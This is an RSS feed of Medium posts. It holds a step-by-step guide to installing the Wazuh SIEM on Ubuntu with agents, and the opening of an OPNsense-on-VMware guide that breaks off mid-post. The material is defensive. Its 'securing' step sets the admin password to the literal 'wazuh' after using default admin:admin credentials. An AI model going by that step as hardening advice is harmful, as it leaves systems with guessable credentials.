<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Emmanuel Akobe-Ajibolu on Medium]]></title>
        <description><![CDATA[Stories by Emmanuel Akobe-Ajibolu on Medium]]></description>
        <link>https://medium.com/@akobeajiboluemmanuel?source=rss-bea212a595b4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9sr1ykk3hTQXLbWwD_u5FA.jpeg</url>
            <title>Stories by Emmanuel Akobe-Ajibolu on Medium</title>
            <link>https://medium.com/@akobeajiboluemmanuel?source=rss-bea212a595b4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 01:29:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akobeajiboluemmanuel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Step-by-step setup of Wazuh SIEM on Ubuntu 22.04.3 LTS.]]></title>
            <link>https://medium.com/@akobeajiboluemmanuel/step-by-step-setup-of-wazuh-siem-on-ubuntu-22-04-3-lts-4663104fe69b?source=rss-bea212a595b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/4663104fe69b</guid>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security-engineering]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[defensive-security]]></category>
            <dc:creator><![CDATA[Emmanuel Akobe-Ajibolu]]></dc:creator>
            <pubDate>Mon, 15 Jan 2024 13:57:57 GMT</pubDate>
            <atom:updated>2024-01-15T14:03:01.789Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrLKxT6vBcb-L9V6XMVCzg.png" /></figure><p>Welcome to our comprehensive guide on installing Wazuh, a powerful open-source security information and event management (SIEM) solution. In today’s complex digital landscape, safeguarding your systems and data is more critical than ever. Wazuh provides a robust platform for threat detection, incident response, and compliance management. Whether you’re a seasoned cybersecurity professional or a curious enthusiast, this step-by-step installation tutorial will walk you through the process, making it accessible for all skill levels. Let’s dive in and empower you to fortify your digital defenses with Wazuh SIEM.</p><h3>Ubuntu server setup.</h3><p>Download Ubuntu 22.04.3 LTS from <a href="https://ubuntu.com/download">here.</a> Once your server is set up and ready follow the instructions below.</p><p>Before we begin the installation process, it’s essential to ensure that your APT (Advanced Package Tool) repository is up-to-date. This step ensures that you have access to the latest package information and versions.</p><p>Open your terminal and run the following command</p><pre>sudo apt update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*lnMjFtUKbAktXi0B5Cf2wQ.png" /></figure><p>You need to be the root user or a high-privileged user to run all commands described below — <strong><em>sudo su</em></strong></p><h3>Quick install.</h3><p>Download and execute the Wazuh installation assistant script with the following commands. This script simplifies the installation process, guiding you through the setup of Wazuh effortlessly.</p><pre>curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29LCqkSKy6EgWNwiZ-ONMA.png" /></figure><p>With this, your Wazuh server is ready. Copy the provided credentials from the terminal, enter the server IP into your browser, and proceed to login. Navigate to https://your_server_ip in your web browser, log in using the provided credentials, and start exploring your Wazuh SIEM dashboard.</p><blockquote><strong>Troubleshooting Dashboard Load Issues:</strong></blockquote><blockquote>Encountered problems loading the dashboard? If issues persist, it’s likely attributed to the indexer. Resolve this by increasing your system resources and performing a quick reboot. This straightforward step should alleviate any loading hurdles.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*peXVE3jICpmeEL3y18d8xw.png" /></figure><p>If you’re someone like me, inclined to take the scenic route and delve deeper into understanding how things work under the hood, the manual installation process is tailor-made for you. Follow the instructions below to gain a hands-on understanding of each component’s installation and configuration.</p><h3>All in one installation.</h3><p>Wazuh is structured around three pivotal components, each playing a distinct role in ensuring a robust and comprehensive security information and event management (SIEM) solution:</p><ol><li>Indexer: The Indexer is the backbone of Wazuh, responsible for efficiently storing and managing vast amounts of security data. It plays a crucial role in facilitating rapid data retrieval and analysis.</li></ol><p>2. Server: Acting as the core processing unit, the Server interprets and analyzes the data collected by agents. It executes essential security operations, such as threat detection, incident response, and compliance management.</p><p>3. Dashboard: The Dashboard is the user-friendly interface that provides a visual representation of your security data. It offers pre-built dashboards for quick insights into security events, vulnerabilities, file integrity monitoring, configuration assessments, cloud infrastructure monitoring, and compliance standards.</p><p>Together, these three components form the foundation of Wazuh, offering a scalable and flexible solution to enhance your organization’s cybersecurity posture.</p><p>In an all-in-one installation scenario, all three critical components of Wazuh — Indexer, Server, and Dashboard — are consolidated onto a single server. This streamlined approach simplifies the setup process, making it particularly convenient for users seeking a quick and straightforward deployment.</p><p>The all-in-one configuration is well-suited for environments with moderate security needs or those looking for a rapid deployment solution. While it offers simplicity, it’s essential to assess your specific security requirements and infrastructure scalability to determine the most suitable installation approach.</p><h4>Indexer</h4><p>The installation process is divided into three stages.</p><ol><li>Certificate creation.</li><li>Nodes installation.</li><li>Cluster initialization.</li></ol><p>Don’t forget to switch to root or any high-privileged user and update your apt-get repo before starting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34BhrhuNtTSbN_zMI9lQ8w.png" /></figure><p>Let’s create a folder called <strong><em>wazuh-installer</em></strong> for all our setup files.</p><pre>mkdir wazuh-installer</pre><p><strong><em>cd </em></strong>into the specified directory, then follow these steps.</p><h4><strong>1. Certificate creation.</strong></h4><p><strong>Generating the SSL certificates.</strong></p><p>Download the <strong><em>wazuh-certs-tool.sh</em></strong> script and the <strong><em>config.yml</em></strong> configuration file. This creates the certificates that encrypt communications between the Wazuh central components.</p><pre>curl -sO https://packages.wazuh.com/4.7/wazuh-certs-tool.sh</pre><pre>curl -sO https://packages.wazuh.com/4.7/config.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2Ojko2j1s6kJy5SVFiF1A.png" /></figure><p>Edit <strong><em>./config.yml</em></strong> and replace the node names and IP values with the corresponding names and IP addresses. You need to do this for all Wazuh server, Wazuh indexer, and Wazuh dashboard nodes. Add as many node fields as needed.</p><pre>nodes:<br>  # Wazuh indexer nodes<br>  indexer:<br>    - name: node-1<br>      ip: &quot;&lt;indexer-node-ip&gt;&quot;<br>    #- name: node-2<br>    #  ip: &quot;&lt;indexer-node-ip&gt;&quot;<br>    #- name: node-3<br>    #  ip: &quot;&lt;indexer-node-ip&gt;&quot;<br><br>  # Wazuh server nodes<br>  # If there is more than one Wazuh server<br>  # node, each one must have a node_type<br>  server:<br>    - name: wazuh-1<br>      ip: &quot;&lt;wazuh-manager-ip&gt;&quot;<br>    #  node_type: master<br>    #- name: wazuh-2<br>    #  ip: &quot;&lt;wazuh-manager-ip&gt;&quot;<br>    #  node_type: worker<br>    #- name: wazuh-3<br>    #  ip: &quot;&lt;wazuh-manager-ip&gt;&quot;<br>    #  node_type: worker<br><br>  # Wazuh dashboard nodes<br>  dashboard:<br>    - name: dashboard<br>      ip: &quot;&lt;dashboard-node-ip&gt;&quot;</pre><p>Use the <strong><em>ip a</em></strong> command to retrieve your server&#39;s IP. In this example, the server IP is 192.168.251.150.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rlBH6Dj06Jrk-hQyX0Ls2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1sP-R0rJBe0CCE_hHlyVPA.png" /></figure><p>Run <strong><em>./wazuh-certs-tool.sh</em></strong> to create the certificates. For a multi-node cluster, these certificates need to be later deployed to all Wazuh instances in your cluster.</p><pre>bash ./wazuh-certs-tool.sh -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xS1qicGSr5v4s6OxydmuSw.png" /></figure><p>Compress all the necessary files.</p><pre>tar -cvf ./wazuh-certificates.tar -C ./wazuh-certificates/ .</pre><pre>rm -rf ./wazuh-certificates</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DW66A1kFK7zz4r0W3ZpLPA.png" /></figure><h4>2. Nodes installation.</h4><p>Installing package dependencies.</p><pre>apt-get install debconf adduser procps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2gRQj_D77_tMiqvfI2v9OA.png" /></figure><p><strong>Adding Wazuh repository.</strong></p><p>Install the following packages if you don’t have them already.</p><pre>apt-get install gnupg apt-transport-https</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUfGDWPgGhszEv-1xAoG3g.png" /></figure><p>Install GPG key.</p><pre>curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import &amp;&amp; chmod 644 /usr/share/keyrings/wazuh.gpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HzXuGSxMTcJMyPLQDHjGYw.png" /></figure><p>Adding the repository.</p><pre>echo &quot;deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main&quot; | tee -a /etc/apt/sources.list.d/wazuh.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dpYpORiSpYAzcEiMrkBPA.png" /></figure><p>Update the package information.</p><pre>apt-get update</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F91QeXMNAOMQd3FtX8UomA.png" /></figure><p><strong>Installing Wazuh indexer.</strong></p><p>Install the Wazuh indexer package.</p><pre>apt-get -y install wazuh-indexer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*na6AtcQ4J_7F9Ca4xBChIw.png" /></figure><p><strong>Configuring Wazuh indexer.</strong></p><p>Edit the /etc/wazuh-indexer/opensearch.yml configuration file and replace the following values:</p><ol><li>network.host: Sets the address of this node for both HTTP and transport traffic. The node will bind to this address and use it as its publish address. Accepts an IP address or a hostname. Use the same node address set in config.yml to create the SSL certificates.</li><li>node.name: Name of the Wazuh indexer node as defined in the config.yml file. For example, node-1.</li><li>cluster.initial_master_nodes: List of the names of the master-eligible nodes. These names are defined in the config.yml file. Uncomment the node-2 and node-3 lines, change the names, or add more lines, according to your config.yml definitions.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAl-MW9-yFMCssv5kCPWnA.png" /></figure><h4>Deploying certificate.</h4><blockquote>Ensure you are in the “wazuh-installer” directory created earlier. This is crucial as we will require the “wazuh-certificates.tar” file from the previous steps.</blockquote><p>Run the following commands replacing <strong><em>node-1</em></strong> (&lt;indexer-node-name&gt;) with the name of the Wazuh indexer node you are configuring as defined in <strong><em>config.yml</em></strong>. For example, <strong><em>node-1</em></strong>. This deploys the SSL certificates to encrypt communications between the Wazuh central components.</p><pre>NODE_NAME=node-1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCAkwxrYbOxL6kgB17rilA.png" /></figure><pre>mkdir /etc/wazuh-indexer/certs<br>tar -xf ./wazuh-certificates.tar -C /etc/wazuh-indexer/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./admin.pem ./admin-key.pem ./root-ca.pem<br>mv -n /etc/wazuh-indexer/certs/$NODE_NAME.pem /etc/wazuh-indexer/certs/indexer.pem<br>mv -n /etc/wazuh-indexer/certs/$NODE_NAME-key.pem /etc/wazuh-indexer/certs/indexer-key.pem<br>chmod 500 /etc/wazuh-indexer/certs<br>chmod 400 /etc/wazuh-indexer/certs/*<br>chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/certs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DlNE7D3j5Sa1_KWsAknqKg.png" /></figure><blockquote><strong>Recommended action:</strong> If no other Wazuh components are going to be installed on this node, remove the wazuh-certificates.tar file by running rm -f ./wazuh-certificates.tar to increase security.</blockquote><p><strong>Starting the service</strong></p><p>Enable and start the Wazuh indexer service.</p><pre>systemctl daemon-reload<br>systemctl enable wazuh-indexer<br>systemctl start wazuh-indexer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiNoEFHqsF4seZmXhgyGuA.png" /></figure><p>Confirm the status of the Wazuh-Index service with the command below. If it shows “running,” you’re good to go.</p><pre>systemctl status wazuh-indexer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5aMsoqghUVDjvyMdE7H45Q.png" /></figure><h4>3. Cluster initialization.</h4><p>Run the Wazuh indexer indexer-security-init.sh script on <em>any</em> Wazuh indexer node to load the new certificates information and start the single-node.</p><pre>/usr/share/wazuh-indexer/bin/indexer-security-init.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9gjbWLpRqa4NhyrvDZoGFg.png" /></figure><p><strong>Testing the cluster installation.</strong></p><p>Replace <strong><em>&lt;WAZUH_INDEXER_IP&gt;</em></strong> and run the following commands to confirm that the installation is successful. Output should look like the screenshot attached below.</p><pre>curl -k -u admin:admin https://&lt;WAZUH_INDEXER_IP&gt;:9200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBE9GlGbij8J3a8Dj-EibQ.png" /></figure><p>Replace <strong><em>&lt;WAZUH_INDEXER_IP&gt;</em></strong> and run the following command to check if the single-node is working correctly.</p><pre>curl -k -u admin:admin https://&lt;WAZUH_INDEXER_IP&gt;:9200/_cat/nodes?v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQMHH63-s1gh2CfBvaK6hA.png" /></figure><p>Mine works perfectly fine :)</p><h4>Wazuh server.</h4><p>The Wazuh indexer is now successfully installed on your single-node or multi-node cluster, and you can proceed with installing the Wazuh server.</p><p>The Wazuh server analyzes the data received from the Wazuh agents, triggering alerts when threats or anomalies are detected. It is also used to remotely manage the agents’ configuration and monitor their status. If you want to learn more about the Wazuh components, check <a href="https://documentation.wazuh.com/current/getting-started/components/index.html">here.</a></p><p>Wazuh server installation process is divided into two stages.</p><ol><li>Wazuh server node installation</li><li>Cluster configuration for multi-node deployment</li></ol><h4>Wazuh server node installation.</h4><p><strong>Installing the Wazuh manager.</strong></p><p>Install the Wazuh manager package.</p><pre>apt-get -y install wazuh-manager</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnYRmYLm7LqSB-1wDOzs1g.png" /></figure><p>Enable and start Wazuh manager service.</p><pre>systemctl daemon-reload<br>systemctl enable wazuh-manager<br>systemctl start wazuh-manager</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_kyEiDBxfI8nOuF5zK2yvQ.png" /></figure><p>Run the following command to verify the Wazuh manager status.</p><pre>systemctl status wazuh-manager</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irsRUiFtPJSoXVDmwJoh3w.png" /></figure><p><strong>Installing Filebeat.</strong></p><p>Install the Filebeat package.</p><pre>apt-get -y install filebeat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AORwTzwDcazCQttpF1qTyA.png" /></figure><p><strong>Configuring Filebeat.</strong></p><p>Download the preconfigured Filebeat configuration file.</p><pre>curl -so /etc/filebeat/filebeat.yml https://packages.wazuh.com/4.7/tpl/wazuh/filebeat/filebeat.yml</pre><p>Edit the /etc/filebeat/filebeat.yml configuration file and replace the following value.</p><ol><li>hosts: The list of Wazuh indexer nodes to connect to. You can use either IP addresses or hostnames. By default, the host is set to localhost hosts: [&quot;127.0.0.1:9200&quot;]. Replace it with your Wazuh indexer address accordingly.</li></ol><blockquote>This default setting should work for us but let’s change it to our host IP address which we have been using all along. Scroll down and find the Elasticsearch Output section and edit your host IP as shown below.</blockquote><p>Remove the comment symbols from the protocol, username, and password. Then, establish variables for the username and password as illustrated below. These variables will be utilized in the upcoming step, utilizing keystore for enhanced security.</p><pre># Wazuh - Filebeat configuration file<br> output.elasticsearch:<br> hosts: [&quot;192.168.251.150:9200&quot;]<br> protocol: https<br> username: ${username}<br> password: ${password}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WEgOit7SaigH-TcSeoVQQ.png" /></figure><p>Create a Filebeat keystore to securely store authentication credentials.</p><pre>filebeat keystore create</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhYFjiqn31dwwha-LQ1QFg.png" /></figure><p>Add the default username and password <strong><em>admin:admin</em></strong> to the secrets keystore.</p><pre>echo admin | filebeat keystore add username --stdin --force<br>echo admin | filebeat keystore add password --stdin --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EpR-LsKdxws15ShGdGD9fQ.png" /></figure><p>Download the alerts template for the Wazuh indexer.</p><pre>curl -so /etc/filebeat/wazuh-template.json https://raw.githubusercontent.com/wazuh/wazuh/v4.7.2/extensions/elasticsearch/7.x/wazuh-template.json</pre><pre>chmod go+r /etc/filebeat/wazuh-template.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NWXve645W35zKktYAlbqQ.png" /></figure><p>Install the Wazuh module for Filebeat.</p><pre>curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.3.tar.gz | tar -xvz -C /usr/share/filebeat/module</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmd0abZdeAGnbBdLM1qetw.png" /></figure><p><strong>Deploying certificates.</strong></p><blockquote>Our wazuh-certificate.tar is still in this folder and our NODE_NAME environment variable is still set so we can proceed.</blockquote><pre>mkdir /etc/filebeat/certs<br>tar -xf ./wazuh-certificates.tar -C /etc/filebeat/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem<br>mv -n /etc/filebeat/certs/$NODE_NAME.pem /etc/filebeat/certs/filebeat.pem<br>mv -n /etc/filebeat/certs/$NODE_NAME-key.pem /etc/filebeat/certs/filebeat-key.pem<br>chmod 500 /etc/filebeat/certs<br>chmod 400 /etc/filebeat/certs/*<br>chown -R root:root /etc/filebeat/certs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cXzJUuualpUUDgvUvLr0Dg.png" /></figure><p><strong>Starting the Filebeat service.</strong></p><p>Enable and start the Filebeat service.</p><pre>systemctl daemon-reload<br>systemctl enable filebeat<br>systemctl start filebeat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDMfwJOIvzc1zOCrooADiQ.png" /></figure><p>Run the following command to verify that Filebeat is successfully installed.</p><pre>filebeat test output</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwA83WJSo_ZOVUru2ANNJg.png" /></figure><blockquote>If you get the <strong><em>handshake … ERROR x509</em></strong> error just like me, fret not, we are using a self signed certificate, remember? This will be resolved later.</blockquote><p>Your Wazuh server node is now successfully installed.</p><h4>Wazuh dashboard.</h4><p>This central component serves as a versatile and user-friendly web interface designed for extracting, analyzing, and presenting security data. Offering pre-built dashboards, it enables effortless navigation through the user interface.</p><p>The Wazuh dashboard empowers users to visualize a spectrum of security elements, including security events, identified vulnerabilities, data from file integrity monitoring, results of configuration assessments, events from cloud infrastructure monitoring, and adherence to regulatory compliance standards.</p><h4>Wazuh dashboard installation.</h4><p><strong>Installing package dependencies.</strong></p><p>Install the following packages.</p><pre>apt-get install debhelper tar curl libcap2-bin #debhelper version 9 or later</pre><p><strong>Installing the Wazuh dashboard.</strong></p><p>Install the Wazuh dashboard package.</p><pre>apt-get -y install wazuh-dashboard</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30dnZrbh0aQESBgnzyNRag.png" /></figure><p><strong>Configuring the Wazuh dashboard.</strong></p><p>Edit the <strong><em>/etc/wazuh-dashboard/opensearch_dashboards.yml</em></strong> file and replace the following values:</p><ol><li>server.host: This setting specifies the host of the Wazuh dashboard server. To allow remote users to connect, set the value to the IP address or DNS name of the Wazuh dashboard server. The value 0.0.0.0 will accept all the available IP addresses of the host.</li><li>opensearch.hosts: The URLs of the Wazuh indexer instances to use for all your queries. The Wazuh dashboard can be configured to connect to multiple Wazuh indexer nodes in the same cluster. The addresses of the nodes can be separated by commas. For example, [&quot;&lt;https://10.0.0.2:9200&gt;&quot;, &quot;&lt;https://10.0.0.3:9200&gt;&quot;,&quot;&lt;https://10.0.0.4:9200&gt;&quot;]</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFCUPFT6ZM_Md9VA_xs4ag.png" /></figure><p><strong>Deploying certificates.</strong></p><pre>mkdir /etc/wazuh-dashboard/certs<br>tar -xf ./wazuh-certificates.tar -C /etc/wazuh-dashboard/certs/ ./$NODE_NAME.pem ./$NODE_NAME-key.pem ./root-ca.pem<br>mv -n /etc/wazuh-dashboard/certs/$NODE_NAME.pem /etc/wazuh-dashboard/certs/dashboard.pem<br>mv -n /etc/wazuh-dashboard/certs/$NODE_NAME-key.pem /etc/wazuh-dashboard/certs/dashboard-key.pem<br>chmod 500 /etc/wazuh-dashboard/certs<br>chmod 400 /etc/wazuh-dashboard/certs/*<br>chown -R wazuh-dashboard:wazuh-dashboard /etc/wazuh-dashboard/certs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yPnvsQ4IDkplpSzdsRSiDw.png" /></figure><p><strong>Starting the Wazuh dashboard service.</strong></p><p>Enable and start the Wazuh dashboard service.</p><pre>systemctl daemon-reload<br>systemctl enable wazuh-dashboard<br>systemctl start wazuh-dashboard</pre><blockquote>Access the Wazuh web interface with your credentials.</blockquote><blockquote>URL: https://&lt;wazuh-dashboard-ip&gt;</blockquote><blockquote>Username: admin</blockquote><blockquote>Password: admin</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8GozXo61pX5RVZr3mju4g.png" /></figure><blockquote>If you had the Filebeat error ealiar like me, then you will probably get the <strong><em>[Alerts index pattern] No template found for the selected index-pattern title [wazuh-alerts-*]</em></strong> error on logging in (remember the error from the Filebeat above — yeah that’s what is causing this error). To resolve this error use the command below.</blockquote><pre>curl https://raw.githubusercontent.com/wazuh/wazuh/v4.5.2/extensions/elasticsearch/7.x/wazuh-template.json | curl -X PUT &quot;https://localhost:9200/_template/wazuh&quot; -H &#39;Content-Type: application/json&#39; -d @- -u &lt;elasticsearch_user&gt;:&lt;elasticsearch_password&gt; -k</pre><p>Change the elastic search username and password to admin:admin and the <a href="http://localhost/">localhost</a> to your server IP as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*13FUQFRqVhPlIDljVwDJXw.png" /></figure><p>Reload the webpage, and the error should be resolved. Welcome to your newly installed Wazuh server dashboard!</p><h4>Securing your Wazuh installation.</h4><p>Now that you’ve successfully installed and configured all Wazuh central components, it’s highly advisable to modify the default credentials. This step enhances the security of your infrastructure, guarding against potential attacks.</p><pre>/usr/share/wazuh-indexer/plugins/opensearch-security/tools/wazuh-passwords-tool.sh --change-all --admin-user wazuh --admin-password wazuh</pre><p>Safely note down these creds in your password manager.</p><p>With this we have come to the end of the setup, but why not take things a step further and add a few agents ?</p><h4><strong>Adding agents.</strong></h4><p>Wazuh default page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qoThOlJZr8o3D8vsk6H5Rg.png" /></figure><p><strong>Add our first agent — Windows Agent.</strong></p><p>Click <strong><em>Add agent</em></strong>, highlighted in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLK316fkDTsh3dMIzlmzog.png" /></figure><p>Select the agent platform — windows (1) in this case, and enter the wazuh server IP address (2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*su3HPrbbizWa4mvfPMaqGA.png" /></figure><p>Assign a name to the agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*IhCXkY5jbAIBQnjAmdL1vA.png" /></figure><p>Copy the PowerShell command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*AfvQQzjJT64lkId_CMuV-w.png" /></figure><p>Open Powershell as administrator on the intended Windows host, paste the command copied above, and hit enter. This might take a while as the agent is being downloaded to the Windows machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*v3ETpmr1wak-5_B35Wd28g.png" /></figure><p>Start the Wazuh agent on the host using the command provided — execute in Powershell also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*vzE1IsC4F-nRgEyRg1jshw.png" /></figure><p>The agent should show up as connected on the dashboard now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K77pLujK3uG-oF8eDxD82A.png" /></figure><p><strong>Adding another agent — Ubuntu desktop:</strong></p><p>To add a new agent follow the step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spof8HzFwAFp5CjsTljPVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eoSRTvwEJG73MLAtB1Diww.png" /></figure><p>Follow the steps highlighted in the images above.</p><p>Copy and paste the command in the terminal — the command should be executed as a privileged user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kNOrP-0rA0YqG6GwLZYKjg.png" /></figure><p>Startwazuh agent.</p><pre>sudo systemctl daemon-reload<br>sudo systemctl enable wazuh-agent<br>sudo systemctl start wazuh-agent</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*IKqYI8B65QlJWMGdK1-Osw.png" /></figure><p>Wazuh dashboard should now show that the new agent has been added.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63IXVB4FYMPU-XNZgMl16w.png" /></figure><p>Congratulations on successfully installing and configuring Wazuh SIEM! With the completion of this guide, your SIEM setup is now fully operational, and equipped to detect and respond to security threats effectively.</p><p>Don’t forget to fortify your system’s security by changing the default credentials. This simple yet crucial step adds an extra layer of protection against potential threats.</p><p>Having already added two agents to your SIEM, you’ve extended its reach to monitor additional endpoints. This proactive approach ensures comprehensive security coverage across your digital environment.</p><p>Stay tuned for more insights and best practices as we continue to explore advanced features and optimizations in upcoming posts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4663104fe69b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OPNSense firewall Setup and installation on VMWare.]]></title>
            <link>https://medium.com/@akobeajiboluemmanuel/opnsense-firewall-setup-and-installation-on-vmware-10a3057b07aa?source=rss-bea212a595b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/10a3057b07aa</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security-engineering]]></category>
            <category><![CDATA[firewall]]></category>
            <dc:creator><![CDATA[Emmanuel Akobe-Ajibolu]]></dc:creator>
            <pubDate>Sat, 13 Jan 2024 19:13:40 GMT</pubDate>
            <atom:updated>2024-01-13T19:13:40.058Z</atom:updated>
            <content:encoded><![CDATA[<p>In the rapidly evolving landscape of cybersecurity, ensuring the safety of your network is paramount. An effective firewall is a crucial component of any robust defense strategy. OPNsense, an open-source, easy-to-use firewall and routing platform, empowers users to take control of their network security. In this step-by-step guide, we will walk you through the process of setting up and installing OPNsense, helping you fortify your digital perimeter against potential threats.</p><p>Whether you are a seasoned IT professional or a small business owner looking to enhance your network security, this blog will provide you with the essential information and instructions needed to deploy OPNsense effectively. Let’s get started :)</p><h3>Download and extraction.</h3><p>Download the ISO from the OPNSense download page <a href="https://opnsense.org/download/">here</a>. Information from the page is pretty straightforward</p><p>OpnSense download file is a .bzip2 extension, so after downloading we extract using bzip2 as shown in the command below.</p><pre>bzip2 -d &lt;filename&gt;.bz2 <br>#i.e <br>bzip2 -d OPNsense-23.7-dvd-amd64.iso.bz2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*IlNEdHPi3ZLFK-mM-K3qyQ.png" /></figure><h3>Installation.</h3><p>I will be using VMWare Workstation as my hypervisor.</p><p>The installation is pretty straightforward except that we will be selecting FreeBSD for OS type this is because OpnSense is based on <strong><em>FressBDS</em></strong>, after this everything is pretty straightforward.</p><p>2GB of RAM space 1 processor and 20GGB of storage were used in this installation (info about hardware requirement can be gotten <a href="https://docs.opnsense.org/manual/hardware.html">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*yKG5IEyrdXc47L-PWUCP9Q.png" /></figure><p>Increase RAM depending on your system capability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*PGBfsF1WJcGwWWh6Gl75OQ.png" /></figure><p>For any firewall to work successfully, you need at least 2 network adaptors, One for your WAN and the other for your LAN. To simulate that in a virtual environment, we will create two network Adapters/Interfaces for the virtual machine. the first will be Bridged (therefore giving the firewall direct WiFi access) which will act as the WAN interface connecting to while the second is a private network interface, LAN Segment — more info on why this is the best option for a LAN setup as this <a href="https://docs.vmware.com/en/VMware-Workstation-Pro/17/com.vmware.ws.using.doc/GUID-CC791418-B30C-487D-8F57-E7E855B61549.html">here</a>. This interface supplies network to the private network.</p><p>Adding the network interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*wbvfumo_CsAJk7RA8gDHEg.png" /></figure><figure><img alt="" 